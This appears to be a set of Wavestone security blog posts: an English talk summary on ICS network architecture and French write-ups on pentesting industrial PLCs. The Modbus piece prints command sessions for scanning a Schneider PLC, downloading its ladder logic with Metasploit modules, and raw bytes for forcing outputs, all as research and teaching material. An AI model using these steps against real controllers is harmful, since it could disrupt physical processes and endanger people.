As stated in a previous article, this year, I had the opportunity to talk on the Main Stage at s4, ​​a 3 day conference, dedicated to ICS cybersecurity, held in Miami South Beach from April 19th to April 21st 2022 and organized by Dale Peterson.

This year’s theme was “No Limits!”. It gave me the idea of thinking about the future of ICS network architectures. 

The video of the talk is now available on S4Events YouTube channel: link

So, it is the opportunity to give you more details on the presentation.

Genesis of the presentation

In my engagements at Wavestone, I work a lot on ICS cybersecurity within different companies. These past few years, my work assisting and supporting ICS CISOs focused more and more on network architectures. I have heard a lot these kinds of statements:

• “I need to send data to the Cloud to be able to optimize my production”
• “My plant is operated by an external partner, and I need to connect to its information system”
• “In my line of business, I am required legally and contractually to send this kind of industrial data to a third party”

There are more and more business needs requiring interconnections with the ICS that seem legitimate. Yet, how do we allow these interconnections in a secure way? And can we say yes to everything?

ICS cybersecurity requirements have always been the same. And in terms of network architecture, we always come to the Purdue Model, as well as the zones and conduits methodology. Traditionally there has been a rigidity to what a “secure” ICS architecture is. The Internet tends to be seen as the devil when we talk about ICS.

Well, “No Limits!” made me want to dream a little bit. What if I could start from scratch and build my dream architecture for ICS without any limit?

In my presentation, I compare and contrast the requirements and corresponding secure ICS network architecture of two very different businesses within the same company: power plants and solar/wind farms. 

A Tale of Two (very different) Secure ICS architectures

Presentation of the use case

I have been working for companies that have a large variety of control systems:

• Historical businesses: power plants (nuclear, chemical), refineries 
• New businesses: solar and wind farms

These various businesses can now be found within the same company.

For these companies, the existing ICS cybersecurity policy needs to be adapted to new usages and businesses. How can we define cybersecurity requirements/rules that would apply to the entire company?

In the presentation, I present in detail the two use cases. 

The historical ICS secure architecture

First let’s consider the historical architecture. It follows the Purdue Model, with the good old ICS cybersecurity requirements:

• DMZ between IT and OT network, protected by firewalls (one firewall between OT and DMZ and one firewall between DMZ and IT)
• No direct communication between IT and OT networks
• Protocol break in the DMZ (use of relay servers)
• No local Internet access on the OT network (Internet access goes through the IT network)

When we try to apply the same architecture principles to the solar/wind farm use case, we end up with something that does not make sense:

• OT to OT communications going through the IT network
• Many DMZs and two firewall for each industrial site, even the ones with only a couple of assets on the network

The solar/wind farm secure architecture

So, we try something else and start from scratch. What if we could build a geographically distributed industrial network leveraging SD-WAN technology?

• OT network
  • SD-WAN edge with next generation firewall at each location
  • VPN IPSEC tunnels between sites
  • Filtering rules through the VPN to allow only legitimate flows, such as Modbus for example
  • Detection with IDS activation on firewalls
• DMZ in the Cloud
  • Mainly a DMZ between the OT network and the Internet directly (we have Internet access without going through the IT network anymore)
  • Several firewalls to protect the different zones
  • Central services for the OT network
    • Bastion for remote access
    • Antivirus and update servers: they get their updates from the Internet directly (official websites) through URL whitelisting with proxies and then distribute updates to the OT network through the SD-WAN architecture
• IT network
  • Interconnection through the Cloud only with another dedicated firewall

Here are the main differences with the previous architecture:

• We do not go through the IT network anymore to make industrial sites communicate with each other
• We have a DMZ between the OT network and the Internet directly
• We only need one global DMZ for the industrial network

However, be careful. This architecture is riskier than the historical one. 

• Maintaining a good cybersecurity level is difficult. Errors can be observed with time on the SD-WAN. For example, we could expose a site directly on the Internet because of a misconfiguration of the SD-WAN edge
• Several requirements need to be respected to protect industrial assets:
  • Communications must be controlled from end-to-end.
  • Communications are secured based on level and business need: VPN IPSEC tunnels, network filtering, relays when needed, authentication, encryption, detection, etc.

Rigor is key with this architecture. And actually, what I like the most is the fact that cybersecurity basics need to be respected… finally!

ICS classification methodology

Now let’s go back to our initial objective: how can we formalize cybersecurity requirements for the entire company and differentiate ICS secure architectures?

Can we build something around risks?

I present an ICS classification methodology based on a standard risk-based approach:

• Impact: using the standard HSE impact scale of the company 
• Likelihood: considering several factors, such as the functionality of the system or its connectivity

With the impact and the likelihood, we can place our system on a risk matrix which gives the classification of the system. In this example, we have 4 classes of ICS.

Then, I apply it to our two use cases. We end up with a different classification for our systems:

• Class 2 system for the solar/wind farm
  • Limited impact (2) because there is no HSE risk
  • Important likelihood (3) because of the high connectivity of the system
• Class 3 system for the power plant
  • High impact (3) because of the HSE risk
  • Low likelihood (2) because the system have limited interconnections

So, in our ICS cybersecurity policy, we can have different cybersecurity requirements depending on the classification of the system.

Takeaways

Several factors can be taken into account for an architecture decision:

• What does the control system do?
• What would be the impact of a cyberattack?
• What is the level of exposition of the system?

To conclude the presentation, I encourage companies to launch a taskforce to support projects and build secure architecture for new ICS usages. A good idea could be to build architecture patterns: identify several use cases for the company and build reference architectures based on risk analysis. 

However, find the right balance: having different secure architectures for each of your use cases within the company is good, but only up to a certain level of manageability. Indeed, you will have to maintain all these architectures and solutions. So unfortunately, you cannot have as many architectures as control systems!

Cet article S4x22 – A Tale of Two (very different) Secure ICS architectures est apparu en premier sur RiskInsight.

Wavestone possède depuis plusieurs années des démonstrateurs sur la sécurité des systèmes industriels. En particulier, vous avez peut-être déjà rencontré notre maquette de train et bras robotiques avec un capture the Flag physique !

Cette maquette de train est principalement utilisée pour des workshops dans des conférences de sécurité (Black Hat Europe 2014, BruCON 2015 & 2017, DEF CON 2016 & 2018, Bsides LV, etc.), ou des cours en école d’ingénieurs (EPITA, Mines, ESIEA, Télécom Sud Paris, etc.).

En plus des conférences et des cours en école, nous avons tourné cet été une vidéo de la maquette afin de présenter les principales attaques sur les systèmes industriels, et en particulier l’insécurité des protocoles industriels.

La première partie de la vidéo rappelle ce que sont les systèmes industriels et présente les principales familles de risques et vulnérabilités sur ces systèmes :

• Des défauts d’organisation et de sensibilisation des acteurs
• L’absence de supervision de sécurité
• L’absence de mécanismes de sécurité dans les équipements et les protocoles
• La non-maitrise des sous-traitants et de la maintenance
• La ségrégation inexistante des réseaux
• L’absence de patch management

La seconde partie de la vidéo rentre plus dans la pratique, avec tout d’abord la présentation de la maquette : les automates, la supervision ainsi que le fonctionnement général.
L’objectif est d’attaquer les automates : il faut arrêter le train et attraper son drapeau à l’aide des bras robotiques.
Différents outils de lecture et écriture de registres sont alors présentés :

• S7getDB pour les automates Siemens
• Mbtget pour les automates Schneider

Enfin, nous concluons sur le fait qu’il est relativement
facile de piloter les automates de manière illégitime avec des outils
implémentant les protocoles de communication industriel. Par ailleurs, bien que
de nouvelles gammes d’automates, plus robustes, existent chez certains
constructeurs, la première étape de sécurisation consiste à cloisonner et
filtrer ses réseaux industriels

• Outils pour la lecture et l’écriture de registres (Modbus ou S7)
  • Mbtget – outil perl pour les requêtes de lecture/écriture Modbus https://github.com/sourceperl/mbtget
  • S7get et S7getDB – outil python pour les requêtes de lecture/écriture sur les automates Siemens développé par Wavestone : https://github.com/wavestone-cdt/s7-get
• Modbusclient – module Metasploit pour les requêtes de lecture/écriture Modbus (contribution Wavestone) : https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/scada/modbusclient.rb
• Outils utilisant la fonction 90 de Modbus pour l’administration (un article détaillé est par ailleurs disponible ici : https://www.securityinsider-wavestone.com/2018/02/fun-with-modbus-0x5a.html
• Modicon_command_CTv2 – module Metasploit pour arrêter/démarrer une CPU (contribution Wavestone) : https://github.com/wavestone-cdt/fun-with-modbus-0x5a/blob/master/modicon_command_CTv2.rb
• Modicon_stux_transfer_ASO – module Metasploit pour télécharger le programme d’un automate (contribution Wavestone) : https://github.com/wavestone-cdt/fun-with-modbus-0x5a/blob/master/modicon_stux_transfer_ASO.rb
• Schneider – module pour forcer les entrées / sorties d’un automate développé par Wavestone : https://github.com/wavestone-cdt/fun-with-modbus-0x5a/blob/master/schneider.rb

Cet article Pentesting ICS 101 est apparu en premier sur RiskInsight.

Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.

root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110
values:
  1 (ad 00000):     1
  2 (ad 00001):     0
  3 (ad 00002):     0
  4 (ad 00003):     1
  5 (ad 00004):     0
  6 (ad 00005):     0
  7 (ad 00006):     0
  8 (ad 00007):     0

root@kali:~/smod# python smod.py 
< SMOD >
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.4
       --+--=[Modules : 23
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddo

SMOD > use modbus/scanner/getfunc
SMOD modbus(getfunc) > show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           
SMOD modbus(getfunc) > set RHOSTS 192.168.0.110
SMOD modbus(getfunc) > set UID 1
SMOD modbus(getfunc) > exploit
[+] Module Get Function Start
[+] Looking for supported function codes on 192.168.0.110
[+] Function Code 1(Read Coils) is supported.
[+] Function Code 2(Read Discrete Inputs) is supported.
[+] Function Code 3(Read Multiple Holding Registers) is supported.
[+] Function Code 4(Read Input Registers) is supported.
[+] Function Code 5(Write Single Coil) is supported.
[+] Function Code 6(Write Single Holding Register) is supported.
[+] Function Code 8(Diagnostic) is supported.
[+] Function Code 15(Write Multiple Coils) is supported.
[+] Function Code 16(Write Multiple Holding Registers) is supported.
[+] Function Code 22(Mask Write Register) is supported.
[+] Function Code 23(Read/Write Multiple Registers) is supported.
[+] Function Code 43(Read Device Identification) is supported.
[+] Function Code 90 is supported.

On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :

Capture réseau des échanges entre le logiciel de programmation et un automate Schneider

 

msf auxiliary(modicon_stux_transfer_ASO) > set ACTION DOWNLOAD
ACTION => DOWNLOAD
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] 192.168.0.110:502 - MODBUS - Sending read request
[*] 192.168.0.110:502 - MODBUS - Retrieving file
[*] 192.168.0.110:502 - MODBUS - Closing file  '/opt/metasploit/apps/pro/msf3/data
/exploits/modicon_ladder.apx'
[*] Auxiliary module execution completed
msf auxiliary(modicon_stux_transfer_ASO) >

• Insérons le fichier « .apx » dans l’archive

root@kali:~# file demo_archive.sta 
demo_archive.sta: Zip archive data, at least v1.0 to extract
root@kali:~# unzip demo_archive.sta
Archive:  demo_archive.sta
   creating: BinAppli/
  inflating: BinAppli/Station.apd    
  inflating: BinAppli/Station.apx    
  inflating: STATION.CTX             
 extracting: TA.xma                  
   creating: ThirdParty/
root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx 
BinAppli/Station.apx
root@kali:~/unity# ls
BinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty
root@kali:~/unity# rm BinAppli/Station.apd
root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX  TA.xma  ThirdParty/
  adding: BinAppli/ (stored 0%)
  adding: BinAppli/Station.apx (deflated 61%)
  adding: BinAppli/Station.apd (deflated 19%)
  adding: STATION.CTX (deflated 58%)
  adding: TA.xma (stored 0%)
  adding: ThirdParty/ (stored 0%)
root@kali:~/unity#

• Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme :

Affichage du code « ladder » dans Unity Pro

 

msf > use auxiliary/admin/scada/modicon_stux_transfer_ASO 
msf auxiliary(modicon_stux_transfer_ASO) > show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   DOWNLOAD      Download the ladder logic from the PLC
   GATHER_INFOS  Get informations about the PLC configuration
   UPLOAD        Upload a ladder logic file to the PLC


msf auxiliary(modicon_stux_transfer_ASO) > set ACTION GATHER_INFOS 
ACTION => GATHER_INFOS
msf auxiliary(modicon_stux_transfer_ASO) > show options

Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO):

   Name      Current Setting                     Required  Description
   ----      ---------------                     --------  -----------
   FILENAME  [...]/modicon_ladder.apx            yes       The file to send or receive
   RHOST                                         yes       The target address
   RPORT     502                                 yes       The target port


Auxiliary action:

   Name          Description
   ----          -----------
   GATHER_INFOS  Get informations about the PLC configuration


msf auxiliary(modicon_stux_transfer_ASO) > set RHOST 192.168.0.110
RHOST => 192.168.0.110
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] Sending initialization requests ...
[+] PLC model : BMX P34 2030
[+] Project name : Test - Project ABC 123 Yolo
[+] Project comments : this is where the comments are put. YOLO @@@ !!!
[+] Unity Pro software version : V5.0
[*] Auxiliary module execution completed

Informations sur le projet dans Unity pro

 

[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02

La valeur de forçage est déterminée par le dernier octet :

• 0x03 pour 0
• 0x02 pour 1
• 0x04 pour annuler le forçage

Conclusion et sécurisation

Cet article Fun with Modbus 0x5A est apparu en premier sur RiskInsight.